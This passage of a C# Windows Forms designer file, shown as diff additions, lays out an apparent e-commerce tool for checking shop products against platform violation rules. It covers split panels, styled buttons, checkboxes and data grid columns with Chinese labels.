this.dgvViolateFileData = new LittleRabbit.UserComponent.DataGridViewEx(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.col_dir = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_file_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_penalize_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_business_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_up_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_from = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_from_fake = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_rule_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_against_detail = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_operate = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_select = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.col_result_data_from = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_shop_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_shop_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_product_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_result_up_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_result_from = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_from_fake = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_rule_names = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_check_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_result_status = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + this.panel1.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.ucTabControl1.SuspendLayout(); + this.tabPageCheckResult.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvCheck)).BeginInit(); + this.tabPageViolateFileList.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvViolateFileData)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.panelEx2); + this.splitContainer1.Panel1.Controls.Add(this.btnImport); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx3); + this.splitContainer1.Panel1.Controls.Add(this.btnStartTroubleShooting); + this.splitContainer1.Panel1.Controls.Add(this.btnStop); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1126, 590); + this.splitContainer1.SplitterDistance = 160; + this.splitContainer1.TabIndex = 4; + // + // panelEx2 + // + this.panelEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelEx2.Location = new System.Drawing.Point(1008, 12); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(108, 23); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx2.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.panelEx2.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx2.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.panelEx2.TabIndex = 456; + this.panelEx2.Text = "删除选中违规商品"; + this.panelEx2.Click += new System.EventHandler(this.BtnDelViolate_Click); + // + // btnImport + // + this.btnImport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnImport.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnImport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnImport.DisabledBackColor = System.Drawing.Color.Empty; + this.btnImport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnImport.Location = new System.Drawing.Point(922, 12); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(80, 23); + this.btnImport.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnImport.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnImport.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnImport.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnImport.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnImport.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnImport.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnImport.Style.GradientAngle = 90; + this.btnImport.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnImport.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnImport.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnImport.TabIndex = 427; + this.btnImport.Text = "导入罚单"; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.chkOperateOffSale); + this.ucGroupBoxEx3.Controls.Add(this.chkOperateDataBase); + this.ucGroupBoxEx3.Controls.Add(this.chkOperateOnSale); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(147, 2); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(191, 160); + this.ucGroupBoxEx3.TabIndex = 423; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "排查违规选项"; + // + // chkOperateOffSale + // + this.chkOperateOffSale.AutoSize = true; + this.chkOperateOffSale.Checked = true; + this.chkOperateOffSale.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkOperateOffSale.Location = new System.Drawing.Point(95, 60); + this.chkOperateOffSale.Name = "chkOperateOffSale"; + this.chkOperateOffSale.Size = new System.Drawing.Size(75, 21); + this.chkOperateOffSale.TabIndex = 435; + this.chkOperateOffSale.Text = "排查仓库"; + this.chkOperateOffSale.UseVisualStyleBackColor = true; + // + // chkOperateDataBase + // + this.chkOperateDataBase.AutoSize = true; + this.chkOperateDataBase.Checked = true; + this.chkOperateDataBase.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkOperateDataBase.Location = new System.Drawing.Point(15, 33); + this.chkOperateDataBase.Name = "chkOperateDataBase"; + this.chkOperateDataBase.Size = new System.Drawing.Size(111, 21); + this.chkOperateDataBase.TabIndex = 434; + this.chkOperateDataBase.Text = "排查产品数据库"; + this.chkOperateDataBase.UseVisualStyleBackColor = true; + // + // chkOperateOnSale + // + this.chkOperateOnSale.AutoSize = true; + this.chkOperateOnSale.Checked = true; + this.chkOperateOnSale.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkOperateOnSale.Location = new System.Drawing.Point(15, 60); + this.chkOperateOnSale.Name = "chkOperateOnSale"; + this.chkOperateOnSale.Size = new System.Drawing.Size(75, 21); + this.chkOperateOnSale.TabIndex = 433; + this.chkOperateOnSale.Text = "排查在售"; + this.chkOperateOnSale.UseVisualStyleBackColor = true; + // + // btnStartTroubleShooting + // + this.btnStartTroubleShooting.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStartTroubleShooting.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStartTroubleShooting.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStartTroubleShooting.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStartTroubleShooting.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStartTroubleShooting.Location = new System.Drawing.Point(922, 41); + this.btnStartTroubleShooting.Name = "btnStartTroubleShooting"; + this.btnStartTroubleShooting.Size = new System.Drawing.Size(80, 23); + this.btnStartTroubleShooting.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStartTroubleShooting.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStartTroubleShooting.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStartTroubleShooting.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnStartTroubleShooting.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnStartTroubleShooting.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnStartTroubleShooting.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnStartTroubleShooting.Style.GradientAngle = 90; + this.btnStartTroubleShooting.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStartTroubleShooting.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnStartTroubleShooting.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnStartTroubleShooting.TabIndex = 409; + this.btnStartTroubleShooting.Text = "开始排查"; + this.btnStartTroubleShooting.Click += new System.EventHandler(this.btnStartTroubleShooting_Click); + // + // btnStop + // + this.btnStop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStop.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStop.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStop.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStop.Location = new System.Drawing.Point(1008, 41); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(108, 23); + this.btnStop.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStop.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStop.Style.GradientAngle = 90; + this.btnStop.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStop.TabIndex = 405; + this.btnStop.Text = "停止操作"; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.panel1); + this.ucGroupBoxEx2.Controls.Add(this.flpViolate); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(338, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Padding = new System.Windows.Forms.Padding(5, 3, 5, 5); + this.ucGroupBoxEx2.Size = new System.Drawing.Size(578, 160); + this.ucGroupBoxEx2.TabIndex = 400; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "排查违规类型"; + // + // panel1 + // + this.panel1.Controls.Add(this.llClear); + this.panel1.Controls.Add(this.llSelectSerious); + this.panel1.Controls.Add(this.llSelectAllRule); + this.panel1.Location = new System.Drawing.Point(93, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(217, 20); + this.panel1.TabIndex = 470; + // + // llClear + // + this.llClear.AutoSize = true; + this.llClear.Location = new System.Drawing.Point(159, 1); + this.llClear.Name = "llClear"; + this.llClear.Size = new System.Drawing.Size(56, 17); + this.llClear.TabIndex = 2; + this.llClear.TabStop = true; + this.llClear.Text = "清除选择"; + this.llClear.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.llClear_LinkClicked); + // + // llSelectSerious + // + this.llSelectSerious.AutoSize = true; + this.llSelectSerious.Location = new System.Drawing.Point(81, 1); + this.llSelectSerious.Name = "llSelectSerious"; + this.llSelectSerious.Size = new System.Drawing.Size(80, 17); + this.llSelectSerious.TabIndex = 1; + this.llSelectSerious.TabStop = true; + this.llSelectSerious.Text = "选择严重违规"; + this.llSelectSerious.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.llSelectSerious_LinkClicked); + // + // llSelectAllRule + // + this.llSelectAllRule.AutoSize = true; + this.llSelectAllRule.Location = new System.Drawing.Point(3, 1); + this.llSelectAllRule.Name = "llSelectAllRule"; + this.llSelectAllRule.Size = new System.Drawing.Size(80, 17); + this.llSelectAllRule.TabIndex = 0; + this.llSelectAllRule.TabStop = true; + this.llSelectAllRule.Text = "选择全部违规"; + this.llSelectAllRule.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.llSelectAllRule_LinkClicked); + // + // flpViolate + // + this.flpViolate.AutoScroll = true; + this.flpViolate.Dock = System.Windows.Forms.DockStyle.Fill; + this.flpViolate.Location = new System.Drawing.Point(5, 19); + this.flpViolate.Name = "flpViolate"; + this.flpViolate.Size = new System.Drawing.Size(568, 136); + this.flpViolate.TabIndex = 0; + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 160); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1126, 426); + this.splitContainer3.SplitterDistance = 396; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1126, 396); + this.splitContainer2.SplitterDistance = 336; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(332, 396); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.ucTabControl1); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(782, 396); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // ucTabControl1 + // + this.ucTabControl1.BackgroundColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.ucTabControl1.Controls.Add(this.tabPageCheckResult); + this.ucTabControl1.Controls.Add(this.tabPageViolateFileList); + this.ucTabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucTabControl1.Location = new System.Drawing.Point(1, 1); + this.ucTabControl1.Name = "ucTabControl1"; + this.ucTabControl1.SelectedIndex = 0; + this.ucTabControl1.ShowCloseButton = false; + this.ucTabControl1.Size = new System.Drawing.Size(780, 394); + this.ucTabControl1.TabIndex = 0; + this.ucTabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControl1.TabTextColor = System.Drawing.Color.Gray; + this.ucTabControl1.SelectedIndexChanged += new System.EventHandler(this.ucTabControl1_SelectedIndexChanged); + // + // tabPageCheckResult + // + this.tabPageCheckResult.Controls.Add(this.dgvCheck); + this.tabPageCheckResult.Location = new System.Drawing.Point(2, 26); + this.tabPageCheckResult.Name = "tabPageCheckResult"; + this.tabPageCheckResult.Padding = new System.Windows.Forms.Padding(3); + this.tabPageCheckResult.Size = new System.Drawing.Size(774, 364); + this.tabPageCheckResult.TabIndex = 0; + this.tabPageCheckResult.Text = "排查结果"; + this.tabPageCheckResult.UseVisualStyleBackColor = true; + // + // dgvCheck + // + this.dgvCheck.AllowUserToAddRows = false; + this.dgvCheck.AllowUserToDeleteRows = false; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvCheck.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle4; + this.dgvCheck.BackgroundColor = System.Drawing.Color.White; + this.dgvCheck.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvCheck.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle5; + this.dgvCheck.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvCheck.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_result_select, + this.col_result_data_from, + this.col_result_shop_id, + this.col_result_shop_name, + this.col_result_product_id, + this.col_result_up_id, + this.col_result_from, + this.col_result_from_fake, + this.col_result_rule_names, + this.col_result_check_time, + this.col_result_status, + this.dataGridViewTextBoxColumn5}); + this.dgvCheck.Dock = System.Windows.Forms.DockStyle.Fill; + 